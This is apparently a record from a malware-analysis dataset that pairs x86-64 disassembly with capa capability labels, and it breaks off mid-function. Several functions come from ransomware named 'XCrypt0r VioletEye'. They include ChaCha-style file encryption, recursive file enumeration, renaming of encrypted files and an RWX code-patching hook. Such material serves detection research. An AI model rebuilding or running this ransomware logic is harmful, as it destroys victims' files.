joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180002c80
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x48
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x28], rax
test edx, edx
je 0x180002caa
cmp edx, 1
jne 0x180002dcc
call fcn.180002370
jmp 0x180002dcc
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x40], r12
xor r12d, r12d
cmp dword [0x180032080], r12d
mov esi, r12d
jbe 0x180002dc2
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r15
lea r15, [0x180000000]
nop word [rax + rax]
mov eax, esi
xor dil, dil
mov r14, qword [r15 + rax*8 + 0x31880]
mov rbp, qword [r15 + rax*8 + 0x31080]
mov rbx, r14
nop dword [rax + rax]
movzx eax, byte [rbx]
movzx eax, byte [rax + r15 + 0x2fe20]
cmp al, 0x10
jb 0x180002d31
mov rcx, qword [r15 + rax*8 + 0x17b30]
lea rdx, [rbx + 1]
call fcn.180002df0
test al, al
je 0x180002d9b
movzx ecx, al
add dil, al
add rbx, rcx
cmp dil, 0xe
jb 0x180002d10
movzx ebx, dil
lea r9, [rsp + 0x20]
mov edx, ebx
mov dword [rsp + 0x20], r12d
mov r8d, 0x40
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x180002d9b
mov r8d, ebx
mov rdx, r14
mov rcx, rbp
call fcn.18000f090
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov edx, ebx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
inc esi
cmp esi, dword [0x180032080]
jb 0x180002cf0
mov r15, qword [rsp + 0x30]
mov r14, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
mov r12, qword [rsp + 0x40]
mov eax, 1
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.180003020
add rsp, 0x48
ret

Function at 0x180002e20
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
sub rsp, 0x30
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x28], rax
movzx esi, r8b
lea r9, [rsp + 0x20]
mov rbx, rdx
mov dword [rsp + 0x20], 0
mov rdi, rcx
mov r8d, 0x40
mov rcx, rbx
lea eax, [rsi + 0xe]
mov edx, eax
mov ebp, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x180002ef2
mov dword [rbx], 0x25ff
mov rax, rdi
shr rax, 8
mov word [rbx + 4], 0
mov byte [rbx + 6], dil
mov byte [rbx + 7], al
mov rax, rdi
shr rax, 0x10
mov byte [rbx + 8], al
mov rax, rdi
shr rax, 0x18
mov byte [rbx + 9], al
mov rax, rdi
shr rax, 0x20
mov byte [rbx + 0xa], al
mov rax, rdi
shr rax, 0x28
mov byte [rbx + 0xb], al
mov rax, rdi
shr rax, 0x30
shr rdi, 0x38
mov byte [rbx + 0xc], al
mov byte [rbx + 0xd], dil
test sil, sil
je 0x180002ed7
lea rcx, [rbx + 0xe]
mov r8, rsi
mov dl, 0x90
call fcn.18000ecd0
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov rdx, rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 1
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.180003020
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
Function at 0x180002f10
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov r14, r8
lea rsi, [0x180000000]
mov rbp, rdx
mov r15, rcx
xor bl, bl
mov rdi, rdx
nop dword [rax]
movzx eax, byte [rdi]
movzx eax, byte [rax + rsi + 0x2fe20]
cmp al, 0x10
jb 0x180002f60
mov rcx, qword [rsi + rax*8 + 0x17b30]
lea rdx, [rdi + 1]
call fcn.180002df0
test al, al
je 0x180002fe8
movzx ecx, al
add bl, al
add rdi, rcx
cmp bl, 0xe
jb 0x180002f40
movzx esi, bl
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x3000
lea rdx, [rsi + 0xe]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x180002fe8
mov r8d, esi
mov rdx, rbp
mov rcx, rax
call fcn.18000f090
lea rdx, [rsi + rdi]
xor r8d, r8d
lea rcx, [rsi + rbp]
call fcn.180002e20
test eax, eax
je 0x180002fd7
lea r8d, [rbx - 0xe]
mov qword [r14], rdi
mov rdx, rbp
mov rcx, r15
call fcn.180002e20
test eax, eax
jne 0x180003003
mov qword [r14], 0
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
mov eax, 1
jmp 0x180002fea

Function at 0x1800068bc
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x18000692b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x18000692b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x18000692b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x18000692b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x18000692b
cmp dword [rcx + 0x84], 0xe
jbe 0x18000692b
cmp dword [rcx + 0xf8], 0
je 0x18000692b
mov ecx, ebx
call fcn.1800069d0
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1800067c4
nop
cmp dword [rbp + 0x20], 0
jne 0x18000698c
call fcn.180007d00
cmp eax, 1
jne 0x18000697c
xor dl, dl
jmp 0x180006986
call fcn.180007ccc
test al, al
sete dl
cmp dword [rbp + 0x20], 0
je 0x180006997
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1800069a0
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x1800068bc
Function at 0x180009e28
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x180009e58
xor eax, eax
jmp 0x180009f1b
mov rbp, rbx
cmp word [rax], si
je 0x180009e7d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x180009e64
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x180009e60
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180009d48
movsxd r14, eax
mov rcx, r14
test eax, eax
jne 0x180009ebe
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x180009e51
call fcn.18000b120
mov rdi, rax
test rax, rax
jne 0x180009ed4
xor ecx, ecx
call fcn.180008300
jmp 0x180009eb3
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180009d48
test eax, eax
jne 0x180009f05
mov rcx, rdi
call fcn.180008300
jmp 0x180009f0f
xor ecx, ecx
call fcn.180008300
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x18000ea20
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x18000ea48
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x18000ea48
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x14004d400]
mov dword [rax], 1
mov rax, qword [0x14004d410]
mov dword [rax], 1
mov rax, qword [0x14004d420]
mov dword [rax], 1
mov rax, qword [0x14004d3b0]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140018880
Capabilities:
Query environment variable

Disassembly:
push rsi
mov eax, 0x10078
push rbx
call fcn.1400309e0
sub rsp, rax
xor eax, eax
mov rdx, rcx
lea rbx, [rsp + 0x20]
xor ecx, ecx
mov word [rsp + 0x70], ax
mov word [rsp + 0x20], cx
lea rsi, [rsp + 0x70]
mov rcx, rbx
call fcn.140026da0
mov rdx, rsi
mov r8d, 0x10000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea edx, [rax - 1]
xor eax, eax
cmp edx, 0xffff
ja 0x1400188d9
mov rcx, rsi
call sub.msvcrt.dll__wcsdup
add rsp, 0x10078
pop rbx
pop rsi
ret
Function at 0x14002f6c0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.140040e40
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.140040e40
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop

Function at 0x140030392
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140055488]
test eax, eax
je 0x14003042a
lea rax, [0x140055460]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140055490]
mov qword [rbp - 8], rax
jmp 0x14003040e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140030402
cmp qword [rbp - 0x10], 0
je 0x140030402
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x1400303c8
lea rax, [0x140055460]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14003042b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140030530
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140030558
mov eax, 0
jmp 0x1400305a6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140030581
mov eax, 0
jmp 0x1400305a6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x1400305a1
mov eax, 0
jmp 0x1400305a6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x1400305ac
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14003062a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140030621
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140030621
mov rax, qword [rbp - 8]
jmp 0x14003063f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x1400305f4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140001aa0
Capabilities:
Contain obfuscated stackstrings
Encrypt data using salsa20 or chacha

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xf0
mov rax, qword [r8]
mov qword [rsp + 0xa4], rax
mov ebp, edx
mov rax, qword [r8 + 8]
mov rsi, rcx
mov dword [rsp + 0xa0], 0x61707865
mov qword [rsp + 0xac], rax
mov rax, qword [r8 + 0x10]
mov dword [rsp + 0xb4], 0x3320646e
mov qword [rsp + 0xcc], rax
mov rax, qword [r8 + 0x18]
mov dword [rsp + 0xc8], 0x79622d32
mov qword [rsp + 0xd4], rax
mov rax, qword [r9]
mov dword [rsp + 0xdc], 0x6b206574
mov qword [rsp + 0xb8], rax
mov rax, qword [r9 + 8]
mov qword [rsp + 0xc0], rax
mov rax, qword [r9 + 0x10]
mov qword [rsp + 0xe0], rax
mov rax, qword [r9 + 0x18]
mov qword [rsp + 0xe8], rax
test rbp, rbp
je 0x140001beb
lea r12, [rsp + 0x60]
mov edi, 0x40
lea r13, [rsp + 0x20]
lea r14, [rsp + 0xa0]
mov rdx, r14
mov rcx, r13
lea rbx, [rdi - 0x40]
call fcn.1400016c0
movdqu xmm0, xmmword [rsp + 0x20]
movdqu xmm1, xmmword [rsp + 0x30]
movdqu xmm2, xmmword [rsp + 0x40]
movdqu xmm3, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm1
movups xmmword [rsp + 0x80], xmm2
movups xmmword [rsp + 0x90], xmm3
jmp 0x140001bd1
movzx eax, byte [r12 + rbx]
xor byte [rsi + rbx], al
add rbx, 1
cmp rdi, rbx
je 0x140001bd6
cmp rbx, rbp
jb 0x140001bc0
lea rax, [rdi + 0x40]
sub r12, 0x40
cmp rdi, rbp
jae 0x140001beb
mov rdi, rax
jmp 0x140001b60
add rsp, 0xf0
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x140001c10
Capabilities:
Move file
Read file on windows
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x178
mov rdi, rdx
mov rdx, r8
mov rbx, rcx
mov rsi, r8
call sub.msvcrt.dll_strstr
test rax, rax
je 0x140001c50
add rsp, 0x178
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea rdx, str.personal_id
mov rcx, rbx
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x140001c39
lea rdx, str.8u42g9
mov rcx, rbx
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x140001c39
lea rdx, str._README
mov rcx, rbx
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x140001c39
lea rdx, str.encrypted_files.txt
mov rcx, rbx
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x140001c39
lea rdx, str..key
mov rcx, rbx
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x140001c39
lea rdx, str.desktop.ini
mov rcx, rbx
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x140001c39
lea rdx, [0x140044092]
mov rcx, rbx
call sub.msvcrt.dll_fopen
mov rbp, rax
test rax, rax
je 0x140001c39
mov r8d, 2
xor edx, edx
lea r15, [rsp + 0x40]
mov rcx, rax
call sub.msvcrt.dll_fseek
mov rcx, rbp
mov r13, r15
call sub.msvcrt.dll_ftell
xor r8d, r8d
xor edx, edx
mov rcx, rbp
mov r14d, eax
mov dword [rsp + 0x3c], eax
call sub.msvcrt.dll_fseek
movsxd r14, r14d
mov rcx, r14
call sub.msvcrt.dll_malloc
mov r9, rbp
mov r8, r14
mov edx, 1
mov rcx, rax
mov r12, rax
call sub.msvcrt.dll_fread
mov rcx, rbp
lea rbp, [rsp + 0x58]
call sub.msvcrt.dll_fclose
nop dword [rax]
call sub.msvcrt.dll_rand
add r13, 1
mov byte [r13 - 1], al
cmp r13, rbp
jne 0x140001d50
mov edx, dword [rsp + 0x3c]
mov r8, rdi
mov r9, r15
mov rcx, r12
call fcn.140001aa0
lea rdx, [0x140044095]
mov rcx, rbx
call sub.msvcrt.dll_fopen
mov rdi, rax
test rax, rax
je 0x140001df7
mov rcx, r15
mov r9, rax
mov r8d, 0x18
mov edx, 1
call sub.msvcrt.dll_fwrite
mov r9, rdi
mov r8, r14
mov edx, 1
mov rcx, r12
call sub.msvcrt.dll_fwrite
mov rcx, r12
call sub.msvcrt.dll_free
mov rcx, rdi
lea rdi, [rsp + 0x60]
call sub.msvcrt.dll_fclose
mov rcx, rdi
mov qword [rsp + 0x20], rsi
mov r9, rbx
lea r8, [0x140044098]
mov edx, 0x104
call qword [sym.imp.msvcrt.dll__snprintf]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_MoveFileA]
jmp 0x140001c39
mov rcx, r12
add rsp, 0x178
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp sub.msvcrt.dll_free
Function at 0x1400025d0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x3a8
lea r8, str._s.
lea rbx, [rsp + 0x40]
mov r9, rcx
mov rbp, rcx
mov r12, rdx
mov rcx, rbx
mov edx, 0x104
lea rsi, [rsp + 0x260]
call fcn.1400014f0
mov rcx, rbx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000270a
mov rdi, qword [sym.imp.KERNEL32.dll_FindNextFileA]
lea r15, [rsp + 0x28c]
movabs r13, 0x73776f646e6957
movabs r14, 0x61746164707041
cmp word [r15], 0x2e
je 0x1400026f0
cmp word [r15], 0x2e2e
je 0x140002720
cmp qword [r15], r13
je 0x1400026f0
cmp qword [r15], r14
je 0x1400026f0
movabs rax, 0x206d6172676f7250
cmp qword [r15], rax
je 0x140002740
movabs rax, 0x206d6172676f7250
xor rax, qword [r15]
movabs rdx, 0x78282073656c6946
xor rdx, qword [r15 + 8]
or rax, rdx
je 0x140002760
movabs rax, 0x73676f4c66726550
cmp qword [r15], rax
je 0x14000277d
cmp dword [r15], 0x6f726843
je 0x140002790
cmp dword [r15], 0x676f6f47
je 0x1400027a8
lea rdx, str..exe
mov rcx, r15
call sub.msvcrt.dll_strstr
test rax, rax
je 0x1400027c0
nop
mov rdx, rsi
mov rcx, rbx
call rdi
test eax, eax
jne 0x140002649
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
add rsp, 0x3a8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
cmp byte [r15 + 2], 0
jne 0x140002660
mov rdx, rsi
mov rcx, rbx
call rdi
test eax, eax
jne 0x140002649
jmp 0x140002700
movabs rax, 0x73656c6946206d
cmp qword [r15 + 6], rax
jne 0x140002685
jmp 0x1400026f0
cmp dword [r15 + 0x10], 0x293638
je 0x1400026f0
movabs rax, 0x73676f4c66726550
cmp qword [r15], rax
jne 0x1400026bc
cmp byte [r15 + 8], 0
je 0x1400026f0
jmp 0x1400026bc
cmp dword [r15 + 3], 0x656d6f
jne 0x1400026c9
jmp 0x1400026f0
cmp dword [r15 + 3], 0x656c67
jne 0x1400026d6
jmp 0x1400026f0
mov qword [rsp + 0x20], r15
mov r9, rbp
lea rax, [rsp + 0x150]
lea r8, str._s_s
mov edx, 0x104
mov rcx, rax
mov qword [rsp + 0x38], rax
call fcn.1400014f0
test byte [rsp + 0x260], 0x10
jne 0x1400027fd
add dword [r12], 1
jmp 0x1400026f0
mov rcx, qword [rsp + 0x38]
mov rdx, r12
call fcn.1400025d0
jmp 0x1400026f0
Function at 0x1400029b0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x3a8
lea r8, str._s.
lea rbx, [rsp + 0x40]
mov r9, rcx
mov r12, rcx
mov r13, rdx
mov rcx, rbx
mov edx, 0x104
lea rdi, [rsp + 0x260]
call fcn.1400014f0
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140002afa
mov rbp, qword [sym.imp.KERNEL32.dll_FindNextFileA]
lea rbx, [rsp + 0x28c]
movabs r14, 0x73776f646e6957
movabs r15, 0x61746144707041
cmp word [rbx], 0x2e
je 0x140002ae0
cmp word [rbx], 0x2e2e
je 0x140002b10
cmp qword [rbx], r14
je 0x140002ae0
cmp qword [rbx], r15
je 0x140002ae0
movabs rax, 0x206d6172676f7250
cmp qword [rbx], rax
je 0x140002b30
movabs rax, 0x206d6172676f7250
xor rax, qword [rbx]
movabs rdx, 0x78282073656c6946
xor rdx, qword [rbx + 8]
or rax, rdx
je 0x140002b50
movabs rax, 0x73676f4c66726550
cmp qword [rbx], rax
je 0x140002b6c
cmp dword [rbx], 0x6f726843
je 0x140002b80
cmp dword [rbx], 0x676f6f47
je 0x140002b98
movabs rax, 0x79726f74736948
cmp qword [rbx], rax
je 0x140002ae0
lea rdx, str..exe
mov rcx, rbx
call sub.msvcrt.dll_strstr
test rax, rax
je 0x140002baa
nop dword [rax]
mov rdx, rdi
mov rcx, rsi
call rbp
test eax, eax
jne 0x140002a29
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
add rsp, 0x3a8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
cmp byte [rbx + 2], 0
jne 0x140002a3e
mov rdx, rdi
mov rcx, rsi
call rbp
test eax, eax
jne 0x140002a29
jmp 0x140002af0
movabs rax, 0x73656c6946206d
cmp qword [rbx + 6], rax
jne 0x140002a63
jmp 0x140002ae0
cmp dword [rbx + 0x10], 0x293638
je 0x140002ae0
movabs rax, 0x73676f4c66726550
cmp qword [rbx], rax
jne 0x140002a9a
cmp byte [rbx + 8], 0
je 0x140002ae0
jmp 0x140002a9a
cmp dword [rbx + 3], 0x656d6f
jne 0x140002aa6
jmp 0x140002ae0
cmp dword [rbx + 3], 0x656c67
jne 0x140002ab2
jmp 0x140002ae0
mov qword [rsp + 0x20], rbx
mov r9, r12
lea rcx, [rsp + 0x150]
lea r8, str._s_s
mov edx, 0x104
mov qword [rsp + 0x38], rcx
call fcn.1400014f0
test byte [rsp + 0x260], 0x10
mov rcx, qword [rsp + 0x38]
je 0x140002bec
mov rdx, r13
call fcn.1400029b0
jmp 0x140002ae0
call qword [sym.imp.SHLWAPI.dll_PathFindExtensionA]
lea rdx, str..xcrypt
mov rcx, rax
call qword [sym.imp.msvcrt.dll__stricmp]
test eax, eax
jne 0x140002ae0
add dword [r13], 1
jmp 0x140002ae0
Function at 0x140002cb0
Capabilities:
Execute command

Disassembly:
push rbx
sub rsp, 0x20
xor eax, eax
test cl, cl
jne 0x140002cc8
add rsp, 0x20
pop rbx
ret
mov r9d, 0x40
lea r8, str.Warning
lea rdx, str.Read_the_About.txt__then_youll_be_able_to_proceed.
xor ecx, ecx
mov rbx, qword [sym.imp.USER32.dll_MessageBoxA]
call rbx
lea rcx, str.notepad.exe_About.txt
call sub.msvcrt.dll_system
xor ecx, ecx
mov r9d, 0x14
lea r8, str.XCrypt0r_VioletEye
lea rdx, str.This_IS_real_ransomware._Are_you_sure_you_want_to_run_it_
call rbx
cmp eax, 6
je 0x140002d20
mov eax, 1
add rsp, 0x20
pop rbx
ret
xor ecx, ecx
mov r9d, 0x34
lea r8, str.XCrypt0r_VioletEye
lea rdx, str.Are_you_100__sure__Im_not_responsible_for_any_damage_done.
call rbx
cmp eax, 6
jne 0x140002d10
xor ecx, ecx
mov r9d, 0x34
lea r8, str.XCrypt0r_VioletEye
lea rdx, str.Last_warning._The_darkweb_sites_arent_real._nYou_arent_able_to_decrypt_your_files_without_nXCracker.exe._nAre_you_ABSOLUTELY_sure_
call rbx
cmp eax, 6
jne 0x140002d10
jmp 0x140002cbb

Function at 0x140002e00
Capabilities:
Get token membership

Disassembly:
push rsi
push rbx
sub rsp, 0x58
lea rbx, [rsp + 0x48]
mov rsi, rcx
mov rcx, rbx
call sub.msvcrt.dll__time64
mov rcx, rbx
call sub.msvcrt.dll__localtime64
mov rcx, rsi
lea rdx, [0x140044107]
mov rbx, rax
call sub.msvcrt.dll_fopen
mov rsi, rax
test rax, rax
je 0x140002de6
mov eax, dword [rbx]
mov ecx, dword [rbx + 0x10]
mov edx, dword [rbx + 0x14]
mov dword [rsp + 0x38], eax
mov eax, dword [rbx + 4]
lea r9d, [rcx + 1]
mov rcx, rsi
lea r8d, [rdx + 0x76c]
lea rdx, str._d__02d__02d__02d__02d__02d
mov dword [rsp + 0x30], eax
mov eax, dword [rbx + 8]
mov dword [rsp + 0x28], eax
mov eax, dword [rbx + 0xc]
add eax, 3
mov dword [rsp + 0x20], eax
call fcn.140001470
mov rcx, rsi
call sub.msvcrt.dll_fclose
nop
add rsp, 0x58
pop rbx
pop rsi
ret
lea rcx, str.Error_opening_file
call sub.msvcrt.dll_perror
mov ecx, 1
call sub.msvcrt.dll_exit
nop
nop dword [rax]
sub rsp, 0x88
mov eax, 0x500
mov r9d, 0x220
mov edx, 2
mov r8d, 0x20
mov word [rsp + 0x76], ax
lea rax, [rsp + 0x78]
lea rcx, [rsp + 0x72]
mov dword [rsp + 0x72], 0
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
